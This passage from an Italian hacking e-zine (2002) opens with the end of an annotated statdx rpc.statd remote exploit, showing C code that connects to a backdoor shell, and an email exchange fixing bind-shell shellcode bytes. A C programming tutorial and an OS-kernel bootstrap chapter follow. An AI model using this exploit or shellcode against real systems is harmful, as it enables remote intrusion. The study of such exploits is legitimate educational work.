clnt_perror(clnt, "clnt_call()"); | | printf("A timeout was expected. Attempting connection to shell..\n"); | | | | /** | | *** | | *** >>> OK! Proviamo a connetterci alla backdoor | | *** | | **/ | | | | sleep(5); connection(addr); | | | | /** | | *** | | *** >>> se si arriva qui qualcosa e' andato storto :/ | | *** | | **/ | | | | printf("Failed\n"); | | } | | else | | | | /** | | * | | * >>> hmmm.. l'invio del buffer di exploit ha restituito una condizione | | * >>> NON di errore... questa poi! | | * | | **/ | | | | { | | printf("Failed - statd returned res_stat: (%s) state: %d\n", | | smres.res_stat ? "failure" : "success", smres.state); | | } | | | | | | /** | | * | | * >>>beh,per quello che puo' valere,almeno chiudiamo in modo ordinato. | | * | | **/ | | | | free(buff); | | clnt_destroy(clnt); | | return -1; | | } | | | | ************************ fine del listato ************************* | | | | | | 7. EXTRA! EXTRA! Ho trovato un piccolo "bug"! | | (...i miei dieci eurocentesimi di contributo... ;) | | | | Come avrete potuto notare dai commenti nel listato dello shellcode, | | in corrispondenza dello sviluppo della chiamata alla funzione accept | | esistono due istruzioni (xorb e movb) commentate e sostituite da | | altre due (xorl e movl). Esse sono il frutto del duro lavoro di debug | | effettuato dal sottoscritto sullo shellcode in esame allo scopo di | | capire per quale motivo non sempre venisse restituita una shell | | in attesa sulla porta "magica"... | | | | Credo che la migliore spegazione possa essere trovata dal messaggio | | di posta elettronica che lo stesso autore mi ha inviato in | | risposta alla mia segnalazione relativa al "bug" in questione. | | | | Vi lascio pertanto alla amabile lettura del messaggio in questione, | | scusandomi per l'enormita' di questo articolo... credo pero' che ne | | sia valsa la pena. | | | | From: "ron1n -" | | To: xyzzy@vxp.com | | Subject: Re: a little bug into your shellcode | | Date: Wed, 25 Jul 2001 14:06:14 +1000 | | | | ---------------------------------------------------------------------- | | | | Hi, | | | | Thanks for pointing that out. You've found a bug | | that caused something which puzzled me somewhat | | last year. | | | | If I understand it right, the following diagram | | shows my error: | | | | | | - ecx | | 00]sd | | 01]0 | | 02]0 | | 03]0 | | 04] <- lsb 0 | | 05]p12 !!! | | 06]p12 !!! | | 07]p12 !!! | | 08]0x10 | | 09]0 | | 10]0 | | 11]0 | | - socket structure | | 12]2 | | 13]0 | | 14]0x99 | | | 15]0 | port | | 16]0 | | 17]0 | | 18]0 | | 19]0 | | [...] | | | | | | Darn :( | | | | If I ever make a personal website, I'll store | | the exploit on it with a small patch (with | | credit to you for finding the bug, of course). | | | | Looking at that exploit (and version 2 of it) | | still embarrasses me a lot, mainly because | | it was my first remote and I had only been | | into asm for a couple of months. I actually | | thought 125-135 bytes was good until I saw | | people who have optimized to like 80-90 bytes... | | | | Once again, thanks. | | | | ron1n | | | | | | > From: "Magic word XYZZY" | | > To: shellcode@hotmail.com | | > Subject: a little bug into your shellcode | | > Date: Tue, 24 Jul 2001 15:33:07 -0700 | | ---------------------------------------------------------------------- | | > | | > Hello, | | > | | > I am writing this message to inform you that I've probably found | | > a little | | > bug into the shellcode included in the "statdx.c" remote exploit. | | > | | > In detail, the problem arises in the following part | | > | | > | | > | | >/* ------------------------------- bind(sd,&sockaddr,16); -------- */ | | >"\xb3\x02" /* movb $0x2,%bl */ | | >"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ | | >"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ | | >"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ | | >"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ | | > | | >Here the location at 0x4(%ecx) contains the address of the "sockaddr" | | > pseudo structure, thus it is a "fullfilled" longword. | | > | | > | | >"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ | | >"\x88\x01" /* movb %al,(%ecx) */ | | >"\xb0\x66" /* movb $0x66,%al */ | | >"\xcd\x80" /* int $0x80 */ | | >/* ------------------------------- listen(sd,blah); -------------- */ | | >"\xb3\x04" /* movb $0x4,%bl */ | | >"\xb0\x66" /* movb $0x66,%al */ | | >"\xcd\x80" /* int $0x80 */ | | >/* ------------------------------- accept(sd,0,16); -------------- */ | | >"\xb3\x05" /* movb $0x5,%bl */ | | >"\x30\xc0" /* xorb %al,%al */ | | >"\x88\x41\x04" /* movb %al,0x4(%ecx) */ | | > | | >Here, in order to clear the "addr" field of the accept (thus avoiding | | >the "annoying" write of the third argument), you should move a cleared | | >longword, but the instructions I see are only clearing the least | | >significant byte of the location. AS a result the accept returns "-14" | | >(or EFAULT) stating that the address (I guess it is the third | | >argument, NOT the second) is not in a writeable address space. To let | | >things work, I modified the two instructions | | > | | >"\x30\xc0" /* xorb %al,%al */ | | >"\x88\x41\x04" /* movb %al,0x4(%ecx) */ | | > | | >with their "longword" counterparts | | > | | >"\x31\xc0" /* xorl %eax,%eax */ | | >"\x89\x41\x04" /* movl %eax,0x4(%ecx) */ | | > | | > | | >Hoping this could be of some interest, I remain | | > | | >faithfully your | | > | | > | | > | | >Saluti | | > | | >xyzzy | | > | | >---------------------------------------------------------------------- | | >You are in a debris room filled with stuff washed in from the surface. | | >A low wide passage with cobbles becomes plugged with mud and debris | | >here, but an awkward canyon leads upward and west. A note on the wall | | >says "Magic word XYZZY". | | | | | | | | 8. Saluti e baci ;) | | | | Bene, signore e signori, qui finisce la mia lunga fatica. | | Non posso negare di essermi davvero divertito a (cercare di) spiegare | | gli arcani misteri di alcune delle piu' usate tecniche di exploit | | remoto. Lungi da me l'idea di atteggiarmi ad "esperto" di queste cose, | | ho semplicemente voluto dare un contributo nella misura in cui ero | | stato, all'epoca, coinvolto (ricordo a tutti che l'elemento scatenante | | fu rappresentato da un paio di miei server bellamente violati | | da ignoti...) | | | | Nelle prossime puntate di questa simpatica e-zine vedro' di riuscire a | | mantenere, in un modo o nell'altro, una certa quale costanza di | | contributo, nella speranza di essere perlomeno non noioso... :) :) :) | | | | | | ...ultima cosa: non mi dimentico del piccolo "quiz" che avevo proposto | | alla fine della scorsa puntata... se qualcuno avesse una risposta, o | | semplicemente fosse interessato a conoscerla, puo' liberamente | | scrivermi all'indirizzo e-mail xyzzy@vxp.com. Prometto che rispondero' | | magari non immediatamente, ma rispondero' ;) | | | | Grazie a tutti per la pazienza che avete messo nel leggermi fino qui. | | | | A presto | | | | xyzzy | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #06 - 25/04/2002 | | C0RS0 Di C [PARTE QUINTA] [AndreaGeddon] 0x0C/0x1D | +--------------------------------------------------------------------------+ | | | Abbiamo visto nelle puntate precedenti gli operatori e i costrutti di | | base del C, che poi sono molto simili in tutti i linguaggi imperativi, | | adesso vediamo dei costrutti più avanzati e funzionali, quali array e | | funzioni; di conseguenza dovremo chiarire i concetti di ambito delle | | variabili, gestione dello stack e puntatori. Niente di difficile, basterà| | vedere qualche esempio per fare luce nelle vostre zucche. | | Partiamo dagli array. Avete già visto le variabili, e con esse i tipi di | | dato, ma se vi serve una serie di variabili come facciamo? Cioè se ci | | serve una serie di 100 variabili intere, dobbiamo definirle come: | | | | int var1, var2, var3, ... , var100; | | | | sarebbe improponibile! Ecco quindi che arrivano gli array. Definendo un | | array non facciamo altro che riservare un blocco di memoria contenente | | un numero di variabili specificato da noi. Ecco come si dichiara: | | | | int interi[10]; | | char caratteri[50]; | | | | nel primo caso abbiamo definito una lista di 10 interi, nel secondo una | | lista di 50 caratteri. I più svegli di voi avranno già intuito che le | | stringhe sono assimilabili ad array di caratteri. Comunque, abbiamo | | definito i nostri array, ora che ci facciamo? Dove ce li mettiamo? | | Risparmiatevi please l'ovvia risposta: avendo la nostra lista di interi | | possiamo in ogni momento accedere ad un qualsiasi elemento della lista | | semplicemente specificandone l'indice, se ad esempio vogliamo prendere | | il terzo elemento della lista di interi dobbiamo usare la notazione: | | | | int a = interi[2]; | | | | l'indice 2 rappresenta il TERZO elemento:infatti gli arrai sono numerati | | da 0 ad n-1, e non da 1 ad n. Altra considerazione,un array è uno spazio | | contiguo per cui può essere gestito anche tramite il puntatore: abbiamo | | definito l'array interi[10], dove array[n] rappresenta un generico | | elemento, se invece usiamo solo il nome interi senza le [] allora vuol | | dire che stiamo considerando il puntatore al primo elemento della lista, | | dunque volendo potremmo accedere ai vari elementi della lista | | incrementando il puntatore stesso. Lo so detto così è un pò caotico, | | vediamo uno snippet di codice per capire: | | | | #include | | main() | | { | | int interi[10]; | | int i; | | | | for(i=0; i<10; i++) | | { | | interi[i] = i; | | } | | | | for(i=0; i<10; i++) | | { | | printf("stampa numeri tramite []: %d\n", interi[i]); | | } | | return 0; | | } | | | | Con il primo for inizializziamo l'array, mettiamo in ogni elemento i il | | valore dell'indice i, con il secondo for stampiamo su schermo il | | risultato, in questo caso i numeri da 0 a 9. Abbiamo prima parlato di | | puntatori, cosa sono? Se voi definite una variabile int, ogni volta che | | la usate vi riferite al valore intero. Il puntatore invece è l'indirizzo | | di memoria che contiene il valore numerico stesso. Vediamo uno schema: | | | | locazione valore | | +-------------+-------------+ | | | 0xFFFFFFFF | n | | | +-------------+-------------+ | | | 0xFFFFFFFE | m | | | +-------------+-------------+ | | | .......... | ... | | | +-------------+-------------+ | | | 0x12345678 | 100 | | | +-------------+-------------+ | | | .......... | ... | | | +-------------+-------------+ | | | 0x00000000 | x | | | +-------------+-------------+ | | | | ad esempio se noi definiamo una variabile int prova = 100, questa sarà | | messa da qualche parte in memoria, Ogni volta che useremo la variabile | | prova noi ci riferiremo al valore 100,mentre ogni volta che ci riferiamo | | al puntatore ci riferiamo al valore 0x12345678 che è l'indirizzo della | | variabile in memoria. Vediamo come si dichiara un puntatore: | | | | #include | | main() | | { | | int* prova; | | int prova2; | | printf("Puntatore con *: %d\n", prova); | | printf("Puntatore con &: %d\n", &prova2); | | } | | | | abbiamo usato gli operatori * e &. Il primo in fase di dichiarazione, | | abbiamo dichiarato un puntatore a intero (prova)e poi l'abbiamo stampato | | su schermo, nel secondo caso invece abbiamo definito un int normalmente | | ma poi in fase di stampa invece della variabile prova2 abbiamo passato | | &prova2, che indica l'indirizzo della variabile prova2. In entrambi i | | casi non viene stampato il valore intero ma il valore del suo puntatore, | | cioè l'indirizzo di memoria della variabile stessa. Perchè parliamo | | di puntatori? Perchè adesso dovremo parlare delle funzioni. | | Una funzione è una relazione matematica che ad un elemento del dominio | | associa al più un elemento del codominio... oops no quello è un'altra | | cosa! Una funzione è un pezzo di codice che possiamo chiamare quando | | vogliamo nel nostro programma. Di solito le funzioni prendono in input | | dei parametri e restituiscono in output un risultato.Le funzioni possono | | essere interne (cioè risiedono nel programma) oppure essere esterne,cioè | | risiedono in moduli esterni al programma (ad esempio le dll di windows). | | Per adesso ci occuperemo delle funzioni interne. Una funzione deve avere | | un prototipo e un corpo. Il prototipo va definito prima dell'uso della | | funzione stessa, come ad esempio: | | | | int funzione(int parametro1, long parametro2); | | | | questa dichiarazione vuol dire che la funzione prende in input un intero | | e un long, e restituisce come valore un intero.E' importante capire come | | funziona il passaggio di variabili, ovvero il loro ambito, che è anche | | alla base della comprensione della tecnica dei buffer overflow.Quando il | | compilatore C trova una funzione le crea uno stack privato (a meno di | | alcune eccezioni), stack che poi viene eliminato all'uscita della | | funzione. Le variabili devono tenere conto di questo fatto: le funzioni | | infatti devono distinguere tra variabili globali e locali. Facciamo un | | esempio: | | | | #include | | int a = 1000; | | int c = 2000; | | long somma(int a, int b); | | main() | | { | | int a = 100; | | printf("%d\n", somma(10, 30)); | | } | | | | long somma(int a, int b) | | { | | return a + b; | | } | | | | Il printf stampa il risultato della funzione somma, che appunto somma i | | due interi passati (10 e 30), per cui il risultato sarà 40. Notate che | | la variabile "a" è definita localmente nella funzione somma, localmente | | nella funzione main e globalmente all'infuori della main. Notate anche | | che ciò non interferisce con il nostro codice: la variabile a dentro la | | funzione somma non è modificata dalle altre definizioni di a, così come | | la variabile a nella main non è modificata dalla a al di fuori della | | main, tutto questo grazie all'ambito di una variabile. La funzione somma | | infatti ha un proprio namespace,cioè all'interno della funzione somma la | | a che conta è quella definita nel suo prototipo, e solo quella. La | | variabile c invece è globale e definita una volta sola, per cui ogni | | riferimento a tale variabile nella main o nella funzione somma andrà a | | modificare il valore della c globale. Visto dal lato del compilatore il | | tutto risulta ancora più semplice: le variabili definite localmente in | | una funzione vanno a finire sullo stack, mentre le variabili gloabli | | sono salvate come dati fisicamente all'interno della sezione di dati del | | programma stesso. Se in una funzione vogliamo una variabile non globale | | ma che non sia volatile come quelle locali, possiamo definirla usando la | | parola chiave "static", ad esempio: | | | | int funzione(int a) | | { | | int b; | | static int c; | | .... | | } | | | | in questo modo anche la variabile c sarà salvata nella sezione dati e no | | sul volatile stack. Cosa comporta questo? Se noi chiamiamo la funzione e | | assegnamo un valore a b e uno a c, quando andremo a richiamare di nuovo | | la funzione la variabile b conterrà un valore casuale, mentre c conterrà | | il valore assegnatogli dall'ultima modifica fatta nella precedente | | chiamata alla funzione. Le variabili passate come argomento vanno anche | | esse nello stack, per cui sorgono alcuni problemi. Vediamo il seguente | | esempio: | | | | #include | | long somma(int a, int b); | | int a = 10; | | main() | | { | | int c = 70; | | printf("%d\n", somma(a, c)); | | printf("a: %d c: %d\n", a, c); | | } | | | | long somma(int a, int b) | | { | | a = a + b; | | return a; | | } | | | | stavolta alla funzione somma abbiamo passato direttamente due variabili | | contenenti i valori da sommare. Ebbene come risultato vedete che viene | | restituita la somma delle due variabili e poi viene stampato il loro | | valore: notate che a e c non sono state modificate. Proprio perchè c'è | | il passaggio di "copia" nello stack in fase della chiamata a somma: le | | variabili non subiscono nessun cambiamento. Il problema si pone quando | | per qualche motivo vogliamo che alcune delle variabli che passiamo siano | | modificate anche fuori dalla funzione. Se ad esempio nel precedente | | codice avessimo voluto che la variabile a modificata nella funzione somma| | avesse mantenuto la modifica (cioè da 10 mantenesse il valore 80) allora | | avremmo dovuto modificare la funzione affinchè prendesse il puntatore | | alla variabile a: in tal caso il puntatore viene copiato e non alterato, | | ma il relativo contenuto di memoria, cioè il valore di a, sarebbe stato | | alterato in modo permanente. Esempio: | | | | #include | | long somma(int* a, int b); | | int a = 10; | | main() | | { | | int c = 70; | | printf("%d\n", somma(&a, c)); | | printf("a: %d c: %d\n", a, c); | | } | | long somma(int* a, int b) | | { | | *a = *a+b; | | return *a; | | } | | | | stavolta somma prende un puntatore a intero come primo parametro,per cui | | il programma prima stamperà il risultato della somma sullo schermo, cioè | | 80 e poi i valori di a e c, relativamente 80 e 70. Questo perchè a ha | | mantenuto le modifiche effettuate dalla funzione somma. Nella funzione | | come vedete ho usato *a e non a proprio per indicare il valore puntato da| | a. Questo torna molto utile quando dovete ad esempio passare strutture o | | puntatori a buffer nelle vostre funzioni. | | Ovviamente non sta bene sovraccaricare lo stack,e capita spesso di dover | | definire dei blocchi di memoria di size non noto a priori, vedremo la | | prossima volta come allocare memoria per risolvere entrambi questi | | problemi, vedremo anche come stare attenti a non andare in overflow e | | vedremo la tecnica di ricorsione (cioè funzioni che richiamano sè stesse)| | ora vediamo un programma riassuntivo: | | | | #include | | /* questa riga dichiara il prototipo della funzione media*/ | | int media(int* lista); | | main() | | { | | int numeri[10], i; | | printf("inserisci dieci numeri per la media:\n"); | | for(i=0; i<10; i++) | | { | | scanf("%d", &numeri[i]); | | } | | printf("la media e': %d\n", media(numeri)); | |/* le funzioni possono essere incapsulate l'una nell'altra*/ | | return 0; | | } | | int media(int* lista) | | { | | long a = 0; | | int i; | | for(i=0; i<10; i++) | | { | | a = a + lista[i]; | | } | | return a / 10; | | } | | | | Il prototipo di funzione non è obbligatorio dichiararlo, basta che la | | chiamata alla funzione venga fatta in un punto sotto la definizione | | della funzione stessa, cmq è buona norma usare i prototipi. | | | | Con questo termina anche questa parte del corso,ci vediamo alla prossima | | see ya | | | | | | AndreaGeddon | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #06 - 25/04/2002 | | 0S FR0M ZER0 - CHAPTER 3 [Alexander The Great] 0x0D/0x1D | +--------------------------------------------------------------------------+ | | | Direi che la teoria e` utile, ed il capitolo 2 ha cercato di spiegare, | | in teoria per l'appunto, le prime cose che costituiranno problemi da | | risolvere nella costruzione di un kernel; e in effetti il capitolo 2 ha | | lasciato moltissime lacune; ha toccato, direi, la famigerata "punta | | dell'iceberg". Be', la teoria e` necessaria, ma si sa, a un certo punto | | si rende necessaria anche la pratica, nel nostro caso altrimenti nota | | come la "fase dello spippolamento"; e nel mio metodo di apprendimento, | | quella fase arriva sempre molto presto. | | | | Quindi passiamo pure alla pratica; e anche pesantemente, stavolta. | | Premunitevi di analgesici: vi GARANTISCO che, non importa quanto lunga | | la sappiate sui PC, alla fine vi verra` un mal di testa da far paura... | | che diamine, e` venuto anche a me mentre sviluppavo 'sto kernel! | | | | Oggi cominciamo a esaminare il nostro belliFFimo "kernel", termine che | | indica il gruppo di istruzioni fondamentali su cui un sistema operativo | | si basa, e da non confondere con "kennel", che significa "canile" e non | | ha niente a che vedere con un sistema operativo; lo dico perche` l'ho | | visto indicare come "kennel" un sacco di volte... | | | | Gia`, ma cosa dovrebbe fare un kernel, in ultima analisi? | | Be', per quanto riguarda i dettagli, le mansioni di un kernel dipendono | | dal sistema operativo che si vuole costruire, ma di certo ci sono delle | | funzioni fondamentali che non possono mancare, e che riguardano in primo | | luogo l'interfacciamento dei programmi con le periferiche. Il concetto | | di "periferiche", in questo ambito comprende anche entita` come la | | memoria centrale (la RAM) e le memorie di massa (i floppy e gli HD), | | nonche` i dispositivi di I-O piu` comuni: tastiera e video. | | In sintesi, un kernel e` costituito per lo piu` da una serie di routines | | (o funzioni, o procedure, chiamatele come vi pare) che i programmi | | possano chiamare, e che assicurano la gestione, per quanto minima, di | | ALMENO le suddette periferiche. | | | | Voce di lettore/trice che batte i piedi: - No, no, no! Ma, e il MoDem?! | | | | - Il MoDem non e` una periferica di I-O fondamentale, anche se, con la | | dovuta pazienza, vedremo come controllare quelli piu` standard, cioe` | | i modem seriali, ma non serve a nulla cercare di connettersi al proprio | | ISP se prima non scriviamo: a) le funzioni per gestire tastiera, video, | | memoria, dischi; b) una serie di drivers di gestione per i protocolli di | | connessione; c) un browser e un mail client tanto per dirne un paio. | | Dato che non abbiamo tre vite da usare 24 ore su 24, converra` cercare | | aiuto da parte di qualche anima buona, anzi, molte anime buone, almeno | | DOPO che il nostro sistema sara` in grado di far funzionare il PC. | | | | E ora, passerei anche al kernel, anche se credo che potro` parlarne ben | | poco in questo capitolo. Per prima cosa, infatti, dobbiamo caricarcelo | | in memoria. Vedremo che non e` una cosa tanto semplice. | | | | Eh... caricarlo... ma dove, e come? Se e` proprio il kernel che gestisce | | sia i dischi che la memoria? Nessun problema: abbiamo il buon bootstrap | | loader che e` fatto proprio per questo! Naturalmente tramite versioni | | semplificate delle chiamate al BIOS che gestiscono tali dispositivi: | | queste versioni semplificate si chiamano oggi "Legacy Interfaces", | | interfacce che i PC moderni hanno avuto in eredita` (legacy) da quelli | | passati. | | | | Ora vi mostro un bootstrap loader "serio", non come quel giocattolo che | | avevo presentato nel primo capitolo. Visto che lavoreremo sul sorgente | | di un S.O. che si chiama Hactar, che ho scritto interamente io, e che | | e` del tutto inedito e diversissimo da quelli esistenti, prevedo che | | sarete interessati all'idea, e in seguito delusi dal fatto di capirci | | ben poco. Ma non fatevi prendere dal panico. Ora, non posso inserire il | | sorgente del kernel QUI, vuoi perche` allungherebbe il capitolo fino a | | far venire l'esaurimento nervoso a chi lo impagina, vuoi perche` in 72 | | colonne non ci sta proprio. Decomprimete l'attachment LC.ZIP, in una | | directory piazzata nella root del vostro disco "C" e chiamata LC, cioe` | | selezionate come destinazione la directory "C:\LC". Non che non funzioni | | se lo piazzate in un'altra directory, ma vediamo di fare le cose nello | | stesso modo, per intenderci meglio in futuro. Aprite poi il file LC.ASM | | usando i seguenti comandi dal prompt di MS-DOS: | | | | CD\LC (invio) | | E (invio) | | | | Si, in quel file che vi troverete sullo schermo c'e` praticamente TUTTO | | il kernel, fin dove sono arrivato a svilupparlo. Perche` non ve l'ho | | presentato "a episodi"? Mah, sarebbe stato inutile: non sono mica qui | | per vendervi un periodico... e cosa faro` allora nei prossimi capitoli, | | dato che il kernel l'avete gia`? Be', a parte che il kernel senza moduli | | di sistema e` un tantino inutile (ma non del tutto: quello di Hactar e` | | un kernel molto particolare, ed ha delle capacita` tutte sue, che non | | dipendono da moduli separati), in sostanza nei prossimi 250 milioni di | | capitoli vi spieghero` come funziona quell'arnese. Va be', scherzavo... | | forse ce la faremo in soli 225 milioni di capitoli. | | Comunque, spezzarlo sarebbe servito a ben poco, perche` in tal modo non | | ci sarebbe stato molto da vedere. Anche cosi, ricordatevi che gran parte | | del kernel ha effetti "nascosti", che rimangono in sfondo all'attivita` | | visibile dell'interfaccia di sistema. Uno dei piu` importanti di questi | | effetti nascosti e` la gestione delle interrupt, chiamata nel caso di | | Hactar, "flat-to-real mode interrupt switching". Hactar usa due tabelle | | di interrupts, una in modalita` reale, e una in modalita` flat, ma | | rimandiamo pure le spiegazioni dettagliate a dopo... | | | | Uhm... ovviamente non mi assumo responsabilita` per eventuali danni. | | E ovviamente l'autore sono e resto io, e ne ho le PROVE. Il copyright | | e` mio, e sebbene non voglia vendere il mio S.O. piu` recente, e non | | voglia tenere il sorgente per me, assumere la paternita` dell'opera | | mi serve per fare il... cioe`, per evitare che qualcuno possa usare | | questo S.O. commercialmente, cioe` vendendolo. Non provateci nemmeno. | | A meno che non mi paghiate i diritti... ma non lo consiglio: e` il tipo | | di sistema che non va di moda oggi. E` solo il tipo di sistema che la | | NASA probabilmente userebbe per guidare le Voyager in modo affidabile. | | | | Ora, parlando del bootstrap loader... no, ecco: ora vorrete vedere come | | funziona, cosa riesce a fare, come si presenta. Farlo almeno partire, | | insomma. Va bene! Togliamoci la curiosita`, che` poi si ragiona meglio. | | | | Fatemi almeno fare una piccola introduzione utile ad evitare problemi: | | il sistema operativo ha due nomi, uno dei quali era il "nome in codice" | | che usavo quando non avevo ancora stabilito quello definitivo. | | Si chiama Hactar, e il suo nome in codice e` Lasting Child. | | Quella esistente oggi e` una versione incompleta, un prototipo, che | | io spero di portare a un livello accettabile di funzionalita` proprio | | mentre voi seguite questi articoli. Non e` che non sappia come fare, | | beninteso, e` solo che ci vorra` ancora un po' di tempo. | | Comunque siete i primi a vederlo. In assoluto. Che scoop, eh? Boh? | | | | Il nome definitivo e` quello di un potentissimo quanto immaginario | | computer che in un libro di Douglas Adams concepiva nientemeno che | | "l'arma definitiva", che avrebbe potuto distruggere l'universo intero. | | Tuttavia, non voleva farlo perche` avesse una personalita` malvagia, | | ma solo perche` gli era stato ordinato di farlo da una razza di alieni | | molto bellicosi, i cosidetti "Silastic Armorfiends of Striterax". | | | | Ecco: volendo trovare un parallelo, fate attenzione a NON chiedere ad | | Hactar di formattarvi il disco rigido, per errore. Il disco rigido non | | si chiama C, e nemmeno "hda". Si chiama MD01, emme di zero uno, sigla | | di Mass Device 01, primo dispositivo di memoria di massa. Per contro, | | la sigla che identifica il primo floppy, il drive A, e` RD01, ovvero | | Removable Device 01. Per essere proprio sicuri di non autoformattarvi | | il disco rigido, basta che non digitiate la sigla MD01 da nessuna parte, | | sullo schermo. Per il resto, potete spippolare in liberta`... | | | | - Ho Linux sulla seconda partizione: quasi quasi formatto Windoze... | | cosi, per provare come va... | | - No, guarda che ti fotte anche Linux. Hactar non conosce partizioni, | | solo drives fisici. La tabella delle partizioni non e` roba sua, e | | lui la userebbe per il suo bootstrap loader. E buonanotte... | | | | Uhm... il nome in codice e` il titolo di una canzone degli Angra. | | Significa pressappoco "Eterno Bambino", e sta a significare che Hactar | | e` un qualcosa di non evoluto. Non intendo dire che non sia efficiente | | e discretamente potente: e` piu` veloce di qualsiasi altro sistema noto, | | incluso il V2 (www.v2os.cx), perche` il suo punto di forza e` l'estrema | | semplificazione delle varie operazioni. Questo ne limita certe funzioni, | | ad esempio non puo` essere usato per il multitasking, ma riserva molti | | altri vantaggi. A parte la velocita`, e la ovvia stabilita`, Hactar e` | | adattissimo allo scopo di questa serie di articoli: un S.O. partendo da | | zero. Dato che Hactar rappresenta un valido archetipo, il suo kernel | | puo` essere espanso, riadattato, riplasmato nella forma che vorrete, | | una volta che avrete capito i principi su cui si basa. | | | | - Allora? Ce lo vuoi far PROVARE? | | - Va bene. Andate al prompt del DOS. | | | | Scrivete CD\LC (+invio) per tornare nella directory di Hactar. | | Poi scrivete UPDATE e premete invio. UPDATE e` un piccolo batch che si | | occupa di chiamare l'assemblatore con i parametri corretti... FERMI, | | aspettate un attimo! ...come vi avevo detto nel primo capitolo, per non | | avere problemi dovreste procurarvi il Borland Turbo Assembler 3.1, piu` | | il suo linker e alcuni files di supporto. Se avete il Borland C++ 3.1 | | per DOS, dovreste avere anche l'assemblatore, in genere nella directory | | BORLANDC\BIN. Almeno, io tanti anni fa, nei dischetti della scatola ce | | l'ho trovato. Non posso fornirvelo io, pero`, perche` mi sa che sarebbe | | una gran bella violazione di copyright. Come dissi nel primo capitolo, | | i files di cui avete bisogno per assemblare qualcosa con il TASM sono: | | | | TASM .EXE 129.266 bytes | | TLINK .EXE 150.569 bytes | | DPMI16BI.OVL 60.672 bytes | | DPMILOAD.EXE 22.212 bytes | | DPMIMEM .DLL 24.932 bytes | | | | ...che, per il funzionamento di UPDATE.BAT, dovreste copiare nella | | directory C:\LC dove avete estratto il sorgente e le varie utilities. | | Se non usate queste esatte versioni dei files, cioe` quelle che uso io, | | naturalmente non garantisco che non insorgano problemi... ma immagino | | dovrebbe andare bene anche qualche altra versione del TASM. Quella piu` | | recente costa 195 dollari; sarei anche tentato di comprarla, ma dal sito | | non la vendono al di fuori degli USA, e qui non c'e` verso di trovarla. | | | | Allora, eravamo rimasti a scrivere UPDATE. | | UPDATE compilera` (silenziosamente) tutto il kernel prendendolo dal | | file LC.ASM e depositandolo nel file che si chiama "LC", senza nessuna | | estensione, e di lunghezza fissata a 32256 bytes. | | | | Dopodiche`, UPDATE vi chiedera` di inserire un dischetto (vuoto, ma | | formattato) nel drive A, e di premere un tasto quando siete pronti. | | Poi chiamera` STREAM, il mio programmino per riversare il contenuto | | del file sul dischetto cosi com'e`, senza usare il file system del DOS. | | Quando tutto e` finito, per lanciare Hactar non vi rimane che riavviare | | il computer, chiudendo la sessione di Windoze come al solito ma, com'e` | | ovvio, LASCIANDO il dischetto nel drive. Se volete controllare se tutto | | e` andato bene, confrontate la schermata del DOS con quanto segue: | | | | Assembling system code from LC.ASM... | | | | Target module name: LC | | Assembling complete. | | | | Insert diskette to update in drive A and press any key. | | Ctrl-Break will quit now, without deleting the assembled version. | | ! Beginning | | - Writing area 00:01:00 (TT:SS:HH, 0 sectors so far and going) | | - Writing area 00:01:01 (TT:SS:HH, 18 sectors so far and going) | | - Writing area 01:01:00 (TT:SS:HH, 36 sectors so far and going) | | - Writing area 01:01:01 (TT:SS:HH, 54 sectors so far and going) | | ! Complete | | total sectors written: 63 | | total bytes used: 32256 | | last access: 9 sectors | | first sector used: 00:01:00 | | next free sector: 01:10:01 | | | | Ok, facciamo conto che non abbiate ancora il TASM e che siate curiosi: | | LC l'ho gia` fornito anche in versione binaria. In tal caso, dovreste | | solo andate nella sua directory, mettere un floppy in A e scrivere: | | | | STREAM LC 0 1 0 | | | | Nel caso usiate un'altra versione del TASM, potrebbe verificarsi qualche | | problema di disallineamento dei tre segmenti che costituiscono il nucleo | | del sistema, cioe` i segmenti "BootStrap", "MemoryManager" e "System32". | | Questi sono risolvibili ponendo o ritoccando delle particolari costanti | | di allineamento alla fine dei segmenti (i fillers). Il bootstrap non ne | | ha uno perche` se compilato con TASM 3.1 viene esattamente 512 bytes, il | | System32 non ne ha bisogno perche` e` l'ultimo segmento del nucleo, ma | | per un esempio potete osservare la fine del segmento "MemoryManager": | | | | align 16 | | dw 50 * 8 dup (0DB87h) | | | | ...che piazzano 50 paragrafi di allineamento (50 gruppi di 8 words). | | Un paragrafo e` come un segmento in modalita` reale: e` lungo 16 bytes. | | L'opcode di riempimento corrisponde a "xor bx, bx", pressoche` innocuo; | | alternativamente potreste usare delle NOP (opcode 90h, di un byte). | | | | align 16 | | db 50 * 16 dup (90h) | | | | Ora, a essere sinceri, la cosa migliore da fare sarebbe procurarsi un | | computer "muletto", una macchina su cui fare i test, quando si vuole | | modificare il sistema e poi lanciarlo. Riavviare molte volte non fa | | precisamente bene al computer, ed in effetti io ho due computers qui, | | uno su cui lavoro e l'altro su cui faccio le prove; piu` un portatile | | per prove "accessorie" (i portatili sono PC un po' strani, a volte, e | | sincerarsi che il sistema funzioni su uno di essi e` buona abitudine). | | Quando mi dedico al ciclo "modifica e collaudo" di Hactar, tengo tutti | | e tre i computers accesi, e nella stessa stanza. Questo e` il metodo | | che vi consiglierei di adottare... anche se riconosco che avere piu` di | | un PC nella stessa stanza non e` precisamente una condizione normale, | | quando si e` a casa propria; magari fatevi vendere a prezzo stracciato | | un vecchio PC da un amico... tanto non ne avrete bisogno molto presto. | | Eccetto chi e` gia` molto esperto, non credo che la maggior parte dei | | lettori sapra` modificare costruttivamente il sorgente di Hactar tanto | | presto, anche se naturalmente nessuno vi proibisce di avventurarvi | | (ma a vostro rischio e pericolo). | | | | E ora, se permettete, passiamo a capire come funziona Hactar, a partire | | dal suo bootstrap loader, il quale carica TUTTO il sistema in un colpo: | | in effetti, il kernel di Hactar e` un "nanokernel" la cui lunghezza e` | | limitata, attualmente, a 28 Kb soltanto. Non sono neanche del tutto | | riempiti, questi 28 Kb: ci sono altre funzioni da includere, e molte | | ottimizzazioni da fare per comprimere quel che c'e` gia`. | | | | Il kernel e` memorizzato a partire dal secondo settore del disco, subito | | dopo il settore che contiene il bootstrap loader. A differenza di molti | | S.O. che sono legati alla dimensione standard di un settore 